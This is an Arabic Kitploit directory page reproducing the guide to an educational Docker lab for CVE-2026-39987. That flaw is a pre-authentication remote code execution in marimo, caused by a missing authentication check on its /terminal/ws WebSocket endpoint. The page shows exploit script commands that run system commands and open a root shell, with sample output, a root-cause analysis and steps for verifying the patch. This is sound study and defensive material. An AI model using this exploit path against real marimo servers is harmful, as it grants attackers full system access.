Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-39987-lab-or-marimo-cve-lab — # مختبر Docker تعليمي يوضح CVE-2026-39987، ثغرة تنفيذ أوامر عن بُعد (RCE) قبل المصادقة عبر تجاوز مصادقة WebSocket في marimo، مع سكربت استغلال وخطوات التحقق من التصحيح. | Kitploit
أدوات/GitHubGitHub/dhiaelhak-rached/cve-2026-39987-lab-or-marimo-cve-lab
المصادقة والترخيصتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليممختبرات وتدريب عملي
GitHubdhiaelhak-rached/cve-2026-39987-lab-or-marimo-cve-lab

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-39987-lab-or-marimo-cve-lab

# مختبر Docker تعليمي يوضح CVE-2026-39987، ثغرة تنفيذ أوامر عن بُعد (RCE) قبل المصادقة عبر تجاوز مصادقة WebSocket في marimo، مع سكربت استغلال وخطوات التحقق من التصحيح.

عرض المستودع
منذ 4 أشهرلم تتم المراجعة بعد

دليل مختبر CVE-2026-39987

تنفيذ التعليمات البرمجية عن بُعد قبل المصادقة عبر تجاوز مصادقة WebSocket الطرفية

مختبر Docker تعليمي لفهم وإعادة إنتاج وإصلاح هذه الثغرة الحرجة في marimo.


جدول المحتويات

  • نظرة عامة
  • البنية
  • البدء السريع
  • شرح خطوة بخطوة
    • الخطوة 1: بناء وبدء المختبر
    • الخطوة 2: تأكيد تفعيل المصادقة
    • الخطوة 3: تشغيل الاستغلال
    • الخطوة 4: فهم آلية التجاوز
    • الخطوة 5: التحقق من التصحيح
  • استكشاف الأخطاء وإصلاحها
  • التنظيف
  • المراجع

نظرة عامة

الهدفmarimo <= 0.20.4 يعمل في وضع edit مع تفعيل مصادقة الرمز المميز
المهاجمأي مضيف يحتوي على Python 3 و websocket-client
الهدفالحصول على قشرة جذر تفاعلية عبر /terminal/ws بدون تقديم رمز مصادقة
النوعتجاوز مصادقة ← تنفيذ تعليمات برمجية عن بُعد (RCE)
التصحيحmarimo >= 0.23.0

⚠️ للاستخدام الأخلاقي فقط: صُمم هذا المختبر للباحثين في الأمن السيبراني والمطورين والطلاب لفهم كيفية حدوث ثغرات تجاوز المصادقة وكيفية إصلاحها بشكل صحيح. شغّله فقط في بيئات معزولة.


البنية

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│                        شبكة Docker                         │
│                        (cve-lab)                           │
│                                                              │
│   ┌──────────────────────┐      ┌──────────────────────┐   │
│   │   marimo-vulnerable  │      │   marimo-attacker    │   │
│   │   (الهدف)            │      │   (المهاجم)          │   │
│   │   المنفذ: 2718       │      │   Python 3.12        │   │
│   │   المصادقة: رمز      │◄─────│   exploit.py         │   │
│   │   marimo: 0.20.4     │      │                      │   │
│   └──────────────────────┘      └──────────────────────┘   │
│                                                              │
└─────────────────────────────────────────────────────────────┘

الملفات في هذا المختبر:

الملفالغرض
Dockerfile.targetيبني خادم marimo الضعيف
docker-compose.ymlينسق حاويات الهدف والمهاجم

البدء السريع

root@kitploit:~
# استنساخ المستودع
git clone https://github.com/YOUR_USERNAME/CVE-2026-39987-lab.git
cd CVE-2026-39987-lab

# بدء المختبر
docker-compose up --build -d

# تشغيل الاستغلال
pip install websocket-client
python exploit.py ws://127.0.0.1:2718/terminal/ws exec "id && whoami && hostname"

# الحصول على قشرة تفاعلية
python exploit.py ws://127.0.0.1:2718/terminal/ws shell

شرح خطوة بخطوة

الخطوة 1: بناء وبدء المختبر

root@kitploit:~
# أنشئ دليل عمل وضع هذه الملفات بداخله:
#    - docker-compose.yml
#    - Dockerfile.target
#    - exploit.py

# بناء وبدء الهدف
docker-compose up --build -d

# تحقق من أن الهدف يعمل
docker ps
# يجب أن ترى: marimo-vulnerable   Up   0.0.0.0:2718->2718/tcp

ماذا يحدث:

  • يقوم Docker ببناء حاوية تحتوي على marimo 0.20.4 (الإصدار الضعيف)
  • يبدأ الخادم في وضع edit مع تفعيل مصادقة --token بشكل صريح
  • يتم كشف المنفذ 2718 لمضيفك

الخطوة 2: تأكيد تفعيل المصادقة

قبل الاستغلال، دعنا نتحقق من أن الهدف محمي بشكل صحيح على نقاط النهاية المشروعة:

root@kitploit:~
# حاول فتح الواجهة الرئيسية في متصفح أو عبر curl
curl -s http://127.0.0.1:2718/
# المتوقع: إعادة توجيه إلى صفحة تسجيل الدخول أو 401/403 (الرمز مطلوب)

# جرب WebSocket الرئيسي (/ws) بدون رمز
python3 -c "import websocket; ws=websocket.WebSocket(); ws.connect('ws://127.0.0.1:2718/ws')"
# المتوقع: رفض الاتصال أو إغلاقه فورًا بسبب غياب المصادقة

ملاحظة رئيسية: نقاط نهاية التطبيق الرئيسية تفرض المصادقة بشكل صحيح. تكمن الثغرة في نقطة نهاية ثانوية تم إغفالها.


الخطوة 3: تشغيل الاستغلال

الخيار أ — تنفيذ أمر واحد

root@kitploit:~
pip install websocket-client
python exploit.py ws://127.0.0.1:2718/terminal/ws exec "id && whoami && hostname"

المخرجات المتوقعة:

root@kitploit:~
[+] Connecting to ws://127.0.0.1:2718/terminal/ws...
[+] Connected! No auth needed - Terminal WebSocket accepted
[*] Executing: id && whoami && hostname

[+] Output:
uid=0(root) gid=0(root) groups=0(root)
root
<container_id>

الخيار ب — قشرة تفاعلية

root@kitploit:~
python exploit.py ws://127.0.0.1:2718/terminal/ws shell

ستحصل على موجه $ حيث يمكنك تشغيل أوامر نظام عشوائية:

root@kitploit:~
[+] Got interactive shell! Type 'exit' to quit.

$ ls -la /
total 56
drwxr-xr-x   1 root root 4096 Jan  1 00:00 .
drwxr-xr-x   1 root root 4096 Jan  1 00:00 ..
...
$ exit
[*] Connection closed.

الخطوة 4: فهم آلية التجاوز

لماذا يعمل هذا؟

توجد الثغرة بسبب فحص مصادقة غير متسق عبر نقاط نهاية WebSocket:

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│  Middleware المصادقة (Starlette)                               │
│  ├── يعلّم الاتصالات غير المصادق عليها كـ "UnauthenticatedUser" │
│  └── لا يغلق اتصالات WebSocket تلقائيًا                        │
└─────────────────────────────────────────────────────────────────┘
                              │
              ┌───────────────┴───────────────┐
              ▼                               ▼
    ┌──────────────────┐          ┌──────────────────┐
    │   /ws (الرئيسي)  │          │ /terminal/ws     │
    │                  │          │ (الطرفية)        │
    │  ✓ validate_auth()│          │  ✗ لا يوجد فحص مصادقة │
    │  ✓ @requires("edit")│        │  ✓ SessionMode.EDIT│
    │                  │          │  ✓ supports_terminal()│
    │  يرفض غير المصادق │          │  ✓ يقبل فورًا      │
    └──────────────────┘          └──────────────────┘

تحليل السبب الجذري

  1. Middleware المصادقة (Starlette AuthenticationMiddleware) يعلّم الاتصالات غير المصادق عليها كـ UnauthenticatedUser لكنه لا يغلق اتصالات WebSocket تلقائيًا.

  2. نقاط النهاية الصحيحة (مثل /ws) تستدعي validate_auth() أو تستخدم @requires("edit")، وترفض العملاء غير المصادق عليهم.

  3. نقطة النهاية الضعيفة (/terminal/ws) تتحقق فقط من:

    • SessionMode.EDIT — يضمن أن الخادم في وضع التحرير
    • supports_terminal() — يضمن توفر ميزة الطرفية
    • ...ثم تستدعي فورًا await websocket.accept() بدون أي فحص مصادقة.
  4. التأثير: pty.fork() يطلق قشرة PTY كاملة تعمل كمستخدم الخادم (الجذر في صورة Docker الافتراضية)، مما يمنح المهاجم وصولًا كاملًا للنظام.

الإصلاح (marimo >= 0.23.0)

يضيف التصحيح التحقق المناسب من المصادقة إلى نقطة نهاية /terminal/ws، مما يضمن مطابقتها للموقف الأمني لنقاط النهاية الأخرى.


الخطوة 5: التحقق من التصحيح

قم بترقية الهدف إلى الإصدار المُصحح وأعد تشغيل الاستغلال لتأكيد الإصلاح:

root@kitploit:~
# عدّل Dockerfile.target: غيّر marimo==0.20.4 إلى marimo==0.23.0
# أو استخدم: sed -i 's/marimo==0.20.4/marimo==0.23.0/' Dockerfile.target

docker-compose down
docker-compose up --build -d

# حاول تشغيل الاستغلال مرة أخرى
python exploit.py ws://127.0.0.1:2718/terminal/ws exec "id"

المتوقع بعد التصحيح:

root@kitploit:~
[+] Connecting to ws://127.0.0.1:2718/terminal/ws...
[-] Connection failed: Connection refused or authentication required

يتم الآن رفض/إغلاق الاتصال فورًا؛ لا يتم الحصول على أي قشرة. ✅


استكشاف الأخطاء وإصلاحها


التنظيف

root@kitploit:~
# إيقاف وإزالة الحاويات
docker-compose down -v

# إزالة الصورة المبنية
docker rmi cve-lab_target

# تنظيف أي صور عالقة
docker image prune -f

المراجع

  • استشارة أمان GitHub: https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
  • PR التصحيح: https://github.com/marimo-team/marimo/pull/9098
  • سجل CVE: https://cveawg.mitre.org/api/cve/CVE-2026-39987
  • توثيق marimo: https://docs.marimo.io

أُنشئ لأغراض تعليمية. استخدمه بمسؤولية. 🔒

تنزيل الأداة
exploit.py
سكربت استغلال PoC (أمر واحد + وضع تفاعلي)
LAB_GUIDE.mdهذا الدليل
المشكلةالحل
Connection refusedتأكد من أن الحاوية تعمل: docker ps وتحقق من السجلات باستخدام docker logs marimo-vulnerable
ModuleNotFoundError: No module named 'websocket'ثبّت العميل: pip install websocket-client
لا توجد مخرجات من الاستغلالزد المهلة: python exploit.py ... --timeout 20
تخرج الحاوية فورًاتحقق من صيغة Dockerfile وتأكد من إنشاء دفتر test.py بشكل صحيح
رفض الإذنتأكد من أن خادم Docker يعمل وأن لديك الأذونات المناسبة